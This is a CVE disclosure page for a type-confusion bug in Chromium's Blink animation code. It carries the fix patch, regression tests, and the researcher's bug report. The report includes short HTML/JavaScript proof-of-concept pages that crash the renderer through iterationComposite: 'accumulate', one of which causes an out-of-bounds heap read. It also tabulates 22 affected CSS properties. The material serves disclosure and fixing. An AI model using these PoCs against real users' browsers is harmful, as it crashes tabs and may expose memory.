CVE-2026-79209
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/animation/invalidatable_interpolation.cc |
modified |
Files Changed
third_party/blink/renderer/core/animation/invalidatable_interpolation.ccthird_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html
Patch
From bd9d522fbd8ce911a9e723af3130dc0a56d5d455 Mon Sep 17 00:00:00 2001 From: Robert Flack <[email protected]> Date: Mon, 06 Jul 2026 08:09:45 -0700 Subject: [PATCH] Fix type confusion in iteration accumulation and align order InvalidatableInterpolation::ApplyIterationAccumulation previously checked only that the start and end keyframes shared the same InterpolationType. However, even within the same InterpolationType, the underlying concrete InterpolableValue subclasses or structures can be incompatible (e.g., clip rect lists vs. empty auto lists, or incompatible calc-size bases). This patch makes the following fixes and improvements: 1. Uses MaybeMergeSingles inside ApplyIterationAccumulation to deeply verify and coerce value compatibility before accumulating. Per Web Animations Level 2, if values cannot be merged or accumulated, accumulation is skipped and the current iteration value is used. 2. Computes V_final * N + V_current, aligning the left-to-right AST operand order for complex math expressions with other browser implementations. Bug: 495021566 Change-Id: I272fa8ac7a7b6b627d18ad7d43553ccb306436eb Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8040362 Reviewed-by: Kevin Ellis <[email protected]> Commit-Queue: Robert Flack <[email protected]> Cr-Commit-Position: refs/heads/main@{#1657198} --- diff --git a/third_party/blink/renderer/core/animation/invalidatable_interpolation.cc b/third_party/blink/renderer/core/animation/invalidatable_interpolation.cc index 31e73f2..1b8b4d6e 100644 --- a/third_party/blink/renderer/core/animation/invalidatable_interpolation.cc +++ b/third_party/blink/renderer/core/animation/invalidatable_interpolation.cc @@ -272,6 +272,18 @@ const InterpolableValue* end_value = cached_end_value_->Value().interpolable_value.Get(); + // Iteration accumulation skips incompatible values. + const InterpolationType* type = cached_value_->GetType(); + InterpolationValue start(result_value->Clone(), + cached_value_->GetNonInterpolableValue()); + InterpolationValue end(end_value->Clone(), + cached_end_value_->GetNonInterpolableValue()); + PairwiseInterpolationValue merged = + type->MaybeMergeSingles(std::move(start), std::move(end)); + if (!merged) { + return; + } + // Transform accumulation is not linear so transform lists cannot simply use // Scale() and ScaleAndAdd(). Instead, we accumulate the final keyframe // value (from cached_end_value_) onto both interval endpoints using @@ -288,45 +300,23 @@ auto* accumulated_end = To<InterpolableTransformList>(interval_end->Clone()); const auto& accumulation_delta = - To<InterpolableTransformList>(*end_value); + To<InterpolableTransformList>(*merged.end_interpolable_value); accumulated_start->AccumulateN(accumulation_delta, current_iteration_); accumulated_end->AccumulateN(accumulation_delta, current_iteration_); accumulated_start->Interpolate(*accumulated_end, current_fraction_, - *result_value); + *merged.start_interpolable_value); + cached_value_->MutableValue().interpolable_value = + merged.start_interpolable_value; } return; } - // For filter lists, skip accumulation if their types don't match. Same logic - // as CSSFilterListInterpolationType::PerformAccumulativeComposition. - if (result_value->IsList() && end_value->IsList()) { - const auto& result_list = To<InterpolableList>(*result_value); - const auto& end_list = To<InterpolableList>(*end_value); - for (wtf_size_t i = 0; i < result_list.length() && i < end_list.length(); - i++) { - const auto* result_filter = - DynamicTo<InterpolableFilter>(result_list.Get(i)); - const auto* end_filter = DynamicTo<InterpolableFilter>(end_list.Get(i)); - if (result_filter && end_filter && - result_filter->GetType() != end_filter->GetType()) { - return; - } - } - } - - // Iteration accumulation skips incompatible (IACVT) length values. - if (result_value->IsLength() && end_value->IsLength()) { - if (!InterpolableLength::CanMergeValues(result_value, end_value)) { - return; - } - } - // Iteration accumulation (Web Animations Level 2). Accumulate the final // keyframe value with the current value, |current_iteration| times. - Member<InterpolableValue> scaled_end = end_value->Clone(); - scaled_end->Scale(current_iteration_); - result_value->ScaleAndAdd(1.0, *scaled_end); + Member<InterpolableValue> scaled_end = merged.end_interpolable_value->Clone(); + scaled_end->ScaleAndAdd(current_iteration_, *merged.start_interpolable_value); + cached_value_->MutableValue().interpolable_value = scaled_end; } void InvalidatableInterpolation::ApplyStack( diff --git a/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html b/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html index 6408e0180..95b7200a 100644 --- a/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html +++ b/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html @@ -918,4 +918,93 @@ 'Animated line-height style at 50s of the third iteration'); }, 'iteration composition of animation non-additive units'); +test(t => { + const div = createDiv(t); + div.style.position = 'absolute'; + const anim = + div.animate({ clip: ['rect(10px, 50px, 50px, 10px)', + 'rect(auto, 50px, 50px, 10px)'] }, + { duration: 100 * MS_PER_SEC, + easing: 'linear', + iterations: 10, + iterationComposite: 'accumulate' }); + anim.pause(); + + anim.currentTime = anim.effect.getComputedTiming().duration / 2; + // At 50%, it should flip to the end value because they are not pairwise interpolable. + assert_equals(getComputedStyle(div).clip, 'rect(auto, 50px, 50px, 10px)', + 'Animated clip style at 50s of the first iteration'); + + anim.currentTime = anim.effect.getComputedTiming().duration * 2; + // At 3rd iteration 0%, it should NOT accumulate because they are incompatible. + // So it should be the same as 1st iteration 0% (start value). + assert_equals(getComputedStyle(div).clip, 'rect(10px, 50px, 50px, 10px)', + 'Animated clip style at 0s of the third iteration'); + + anim.currentTime += anim.effect.getComputedTiming().duration / 2; + // At 3rd iteration 50%, the first component (auto) is compatible with the end value (auto), + // so accumulation is allowed for all components. + assert_equals(getComputedStyle(div).clip, 'rect(auto, 150px, 150px, 30px)', + 'Animated clip style at 50s of the third iteration (accumulated)'); +}, 'iteration composition of incompatible clip rects (accumulation skipped at 0%, allowed at 50%)'); + +test(t => { + const div = createDiv(t); + const anim = + div.animate({ filter: ['sepia(1) contrast(2)', + 'sepia(0)'] }, + { duration: 100 * MS_PER_SEC, + easing: 'linear', + iterations: 10, + iterationComposite: 'accumulate' }); + anim.pause(); + + anim.currentTime = anim.effect.getComputedTiming().duration / 2; + // Interpolates between sepia(1) contrast(2) and sepia(0) contrast(1) (extended) + // At 50% it should be sepia(0.5) contrast(1.5) + assert_equals(getComputedStyle(div).filter, 'sepia(0.5) contrast(1.5)', + 'Animated filter list at 50s of the first iteration'); + + anim.currentTime = anim.effect.getComputedTiming().duration * 2; + // At 3rd iteration 0%: start + 2 * end + // sepia(1) contrast(2) + 2 * sepia(0) = sepia(1) contrast(2) + assert_equals(getComputedStyle(div).filter, 'sepia(1) contrast(2)', + 'Animated filter list at 0s of the third iteration'); + + anim.currentTime += anim.effect.getComputedTiming().duration / 2; + // At 3rd iteration 50%: interp(50%) + 2 * end + // sepia(0.5) contrast(1.5) + 2 * sepia(0) = sepia(0.5) contrast(1.5) + assert_equals(getComputedStyle(div).filter, 'sepia(0.5) contrast(1.5)', + 'Animated filter list at 50s of the third iteration'); +}, 'iteration composition of long-to-short filter list'); + +test(t => { + CSS.registerProperty({ + name: '--length-percentage', + syntax: '<length-percentage>', + initialValue: '0px', + inherits: false, + }); + + const div = createDiv(t); + const anim = + div.animate({ '--length-percentage': ['min(10px, 5%)', 'max(20px, 15%)'] }, + { duration: 100 * MS_PER_SEC, + easing: 'linear', + iterations: 10, + iterationComposite: 'accumulate' }); + anim.pause(); + + anim.currentTime = anim.effect.getComputedTiming().duration * 2; + // At 3rd iteration 0%: start + 2 * end + // The left-to-right AST order of operands in calc() serialization is observable + // for complex terms that cannot be simplified or reordered by unit type. + // We verify that the accumulated end term (2 * max(20px, 15%)) appears before + // the current iteration start term (min(10px, 5%)) rather than requiring an + // exact string match, as different browsers may include identity terms (e.g. 0 * ...). + assert_regexp_match(getComputedStyle(div).getPropertyValue('--length-percentage'), + /2 \* max\(20px, 15%\).*min\(10px, 5%\)/,
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html b/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html
index 6408e0180..95b7200a 100644
--- a/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html
+++ b/third_party/blink/web_tests/external/wpt/web-animations/animation-model/keyframe-effects/effect-value-iteration-composite-operation.html
@@ -918,4 +918,93 @@
'Animated line-height style at 50s of the third iteration');
}, 'iteration composition of animation non-additive units');
+test(t => {
+ const div = createDiv(t);
+ div.style.position = 'absolute';
+ const anim =
+ div.animate({ clip: ['rect(10px, 50px, 50px, 10px)',
+ 'rect(auto, 50px, 50px, 10px)'] },
+ { duration: 100 * MS_PER_SEC,
+ easing: 'linear',
+ iterations: 10,
+ iterationComposite: 'accumulate' });
+ anim.pause();
+
+ anim.currentTime = anim.effect.getComputedTiming().duration / 2;
+ // At 50%, it should flip to the end value because they are not pairwise interpolable.
+ assert_equals(getComputedStyle(div).clip, 'rect(auto, 50px, 50px, 10px)',
+ 'Animated clip style at 50s of the first iteration');
+
+ anim.currentTime = anim.effect.getComputedTiming().duration * 2;
+ // At 3rd iteration 0%, it should NOT accumulate because they are incompatible.
+ // So it should be the same as 1st iteration 0% (start value).
+ assert_equals(getComputedStyle(div).clip, 'rect(10px, 50px, 50px, 10px)',
+ 'Animated clip style at 0s of the third iteration');
+
+ anim.currentTime += anim.effect.getComputedTiming().duration / 2;
+ // At 3rd iteration 50%, the first component (auto) is compatible with the end value (auto),
+ // so accumulation is allowed for all components.
+ assert_equals(getComputedStyle(div).clip, 'rect(auto, 150px, 150px, 30px)',
+ 'Animated clip style at 50s of the third iteration (accumulated)');
+}, 'iteration composition of incompatible clip rects (accumulation skipped at 0%, allowed at 50%)');
+
+test(t => {
+ const div = createDiv(t);
+ const anim =
+ div.animate({ filter: ['sepia(1) contrast(2)',
+ 'sepia(0)'] },
+ { duration: 100 * MS_PER_SEC,
+ easing: 'linear',
+ iterations: 10,
+ iterationComposite: 'accumulate' });
+ anim.pause();
+
+ anim.currentTime = anim.effect.getComputedTiming().duration / 2;
+ // Interpolates between sepia(1) contrast(2) and sepia(0) contrast(1) (extended)
+ // At 50% it should be sepia(0.5) contrast(1.5)
+ assert_equals(getComputedStyle(div).filter, 'sepia(0.5) contrast(1.5)',
+ 'Animated filter list at 50s of the first iteration');
+
+ anim.currentTime = anim.effect.getComputedTiming().duration * 2;
+ // At 3rd iteration 0%: start + 2 * end
+ // sepia(1) contrast(2) + 2 * sepia(0) = sepia(1) contrast(2)
+ assert_equals(getComputedStyle(div).filter, 'sepia(1) contrast(2)',
+ 'Animated filter list at 0s of the third iteration');
+
+ anim.currentTime += anim.effect.getComputedTiming().duration / 2;
+ // At 3rd iteration 50%: interp(50%) + 2 * end
+ // sepia(0.5) contrast(1.5) + 2 * sepia(0) = sepia(0.5) contrast(1.5)
+ assert_equals(getComputedStyle(div).filter, 'sepia(0.5) contrast(1.5)',
+ 'Animated filter list at 50s of the third iteration');
+}, 'iteration composition of long-to-short filter list');
+
+test(t => {
+ CSS.registerProperty({
+ name: '--length-percentage',
+ syntax: '<length-percentage>',
+ initialValue: '0px',
+ inherits: false,
+ });
+
+ const div = createDiv(t);
+ const anim =
+ div.animate({ '--length-percentage': ['min(10px, 5%)', 'max(20px, 15%)'] },
+ { duration: 100 * MS_PER_SEC,
+ easing: 'linear',
+ iterations: 10,
+ iterationComposite: 'accumulate' });
+ anim.pause();
+
+ anim.currentTime = anim.effect.getComputedTiming().duration * 2;
+ // At 3rd iteration 0%: start + 2 * end
+ // The left-to-right AST order of operands in calc() serialization is observable
+ // for complex terms that cannot be simplified or reordered by unit type.
+ // We verify that the accumulated end term (2 * max(20px, 15%)) appears before
+ // the current iteration start term (min(10px, 5%)) rather than requiring an
+ // exact string match, as different browsers may include identity terms (e.g. 0 * ...).
+ assert_regexp_match(getComputedStyle(div).getPropertyValue('--length-percentage'),
+ /2 \* max\(20px, 15%\).*min\(10px, 5%\)/,
+ 'Expected accumulated term (2 * max(...)) before current term (min(...))');
+}, 'iteration composition of complex math functions preserves AST left-to-right operand order');
+
</script>
Original Bug Report
Renderer crash via type confusion in ApplyIterationAccumulation with iterationComposite: 'accumulate'
Report description
Renderer crash via type confusion in ApplyIterationAccumulation with iterationComposite: ‘accumulate’
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://github.com/chromium/chromium
The problem
Please describe the technical details of the vulnerability
Summary
A type confusion in InvalidatableInterpolation::ApplyIterationAccumulation() causes a renderer process crash (CHECK failure) when animating CSS properties between incompatible value types using iterationComposite: 'accumulate'. 26 crash variants across 22 CSS properties were confirmed, including an out-of-bounds heap read via the clip property.
Affected Component
Blink>Animation
Severity
High — Renderer process crash from web content. The clip property variant causes an OOB heap read in release builds (DCHECK compiled out).
Prerequisites
Requires CSSAnimationIterationComposite experimental feature (enabled via chrome://flags/#enable-experimental-web-platform-features or --enable-blink-features=CSSAnimationIterationComposite). This feature is currently "experimental" but planned for stable shipping.
Reproduction
Minimal PoC — margin (CHECK crash)
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></di
<script>
document.getElementById('t').animate(
[{margin: 'calc(10px + 5%)'}, {margin: 'auto'}],
{duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>
Minimal PoC — clip (OOB heap read in release builds)
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red;position:absolute"></div>
<script>
document.getElementById('t').animate(
[{clip: 'rect(10px, 50px, 50px, 10px)'}, {clip: 'auto'}],
{duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>
Minimal PoC — aspect-ratio (CHECK crash)
<!DOCTYPE html>
<html><body>
<div id="t" style="width:200px;height:200px;background:red"></div>
<script>
document.getElementById('t').animate(
[{aspectRatio: 'auto'}, {aspectRatio: '16/9'}],
{duration: 100, iterationComposite: 'accumulate', iterationStart: 3, fill: 'forwards'}
);
</script>
</body></html>
Steps to reproduce
- Save any PoC above as an HTML file
- Launch Chrome with:
chrome --enable-blink-features=CSSAnimationIterationComposite - Navigate to the HTML file
- Renderer process crashes immediately
Crash output
FATAL:third_party/blink/renderer/platform/wtf/casting.h:127
Check failed: IsA<Derived>(from).
blink_core!blink::InterpolableLength::ScaleAndAdd
All 22 confirmed crashing properties
Type 1: InterpolableLength::ScaleAndAdd CHECK (17 properties)
| Property | From | To |
|---|---|---|
margin-top |
calc(10px + 5%) |
auto |
margin-left |
calc(10px + 5%) |
auto |
margin-right |
calc(10px + 5%) |
auto |
margin-bottom |
calc(10px + 5%) |
auto |
top |
calc(10px + 5%) |
auto |
left |
calc(10px + 5%) |
auto |
right |
calc(10px + 5%) |
auto |
bottom |
calc(10px + 5%) |
auto |
perspective |
500px |
none |
column-width |
100px |
auto |
column-gap |
calc(10px + 1%) |
normal |
row-gap |
calc(10px + 1%) |
normal |
vertical-align |
10px |
baseline |
contain-intrinsic-width |
100px |
auto |
text-underline-offset |
5px |
auto |
line-height |
calc(20px + 0.5em) |
normal |
word-spacing |
calc(5px + 0.2em) |
normal |
Type 2: InterpolableNumber::Add CHECK (5 properties)
| Property | From | To |
|---|---|---|
z-index |
5 |
auto |
column-count |
3 |
auto |
font-size-adjust |
0.5 |
none |
text-size-adjust |
120% |
auto |
line-height |
1.5 (number) |
normal |
Type 3: InterpolableNumber type confusion — number vs length (1 property)
| Property | From | To |
|---|---|---|
tab-size |
4 (number) |
20px (length) |
Type 4: InterpolableGridTrackList::Add CHECK (2 properties)
| Property | From | To |
|---|---|---|
grid-template-columns |
100px 200px |
none |
grid-template-rows |
50px |
none |
Type 5: InterpolableList size mismatch — OOB read (1 property)
| Property | From | To |
|---|---|---|
clip |
rect(10px, 50px, 50px, 10px) |
auto |
The clip variant is the most dangerous: rect() creates an InterpolableList of size 4, while auto creates size 0. In dcheck_always_on builds this hits a DCHECK. In release builds the DCHECK is compiled out and the code reads 4 elements beyond the empty list’s allocation — an out-of-bounds heap read.
Root Cause
InvalidatableInterpolation::ApplyIterationAccumulation() at third_party/blink/renderer/core/animation/invalidatable_interpolation.cc:341-343:
InterpolableValue* result_value = cached_value_->MutableValue().Clone();
result_value->Scale(current_iteration_);
result_value->ScaleAndAdd(1.0, *scaled_end);
This calls ScaleAndAdd without verifying that result_value and *scaled_end have the same concrete InterpolableValue subclass type. When the animation transitions between incompatible value types (e.g., calc() → auto, number → length, rect() → auto), the To<> downcast inside ScaleAndAdd fails the IsA<> check.
The existing fix for crbug.com/467366440 (lines 332-337) added a guard only for the length-vs-length IACVT incompatibility case. It completely missed:
- Length vs non-length (keyword) mismatches
- Number vs length mismatches
- List vs non-list mismatches
- List size mismatches (clip: rect vs auto)
- Grid track list mismatches
Suggested Fix
Add a type compatibility check before line 341:
if (!result_value->IsMergeTo(*scaled_end)) {
return; // Types are incompatible, skip accumulation
}
Or more conservatively, check IsA<> before each ScaleAndAdd call to ensure both operands have the same concrete type.
Environment
- Chromium: Built from source (trunk, March 2026)
- OS: Windows 11 Pro 10.0.26200
- Build:
is_debug=false dcheck_always_on=true is_component_build=true symbol_level=0
Impact analysis
- Any website with chrome://flags/#enable-experimental-web-platform-features enabled can crash the tab instantly with 3 lines of JavaScript
- The clip variant reads uninitialized heap memory in production Chrome (DCHECK compiled out) - could leak sensitive data from other sites in the same renderer process
- When this feature ships to stable (it’s planned), every Chrome user becomes vulnerable
The cause
What version of Chrome have you found the security issue in?
Built from trunk (March 2026) + dev/canary with –enable-blink-features=CSSAnimationIterationComposite
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Other
How would you like to be publicly acknowledged for your report?
ochko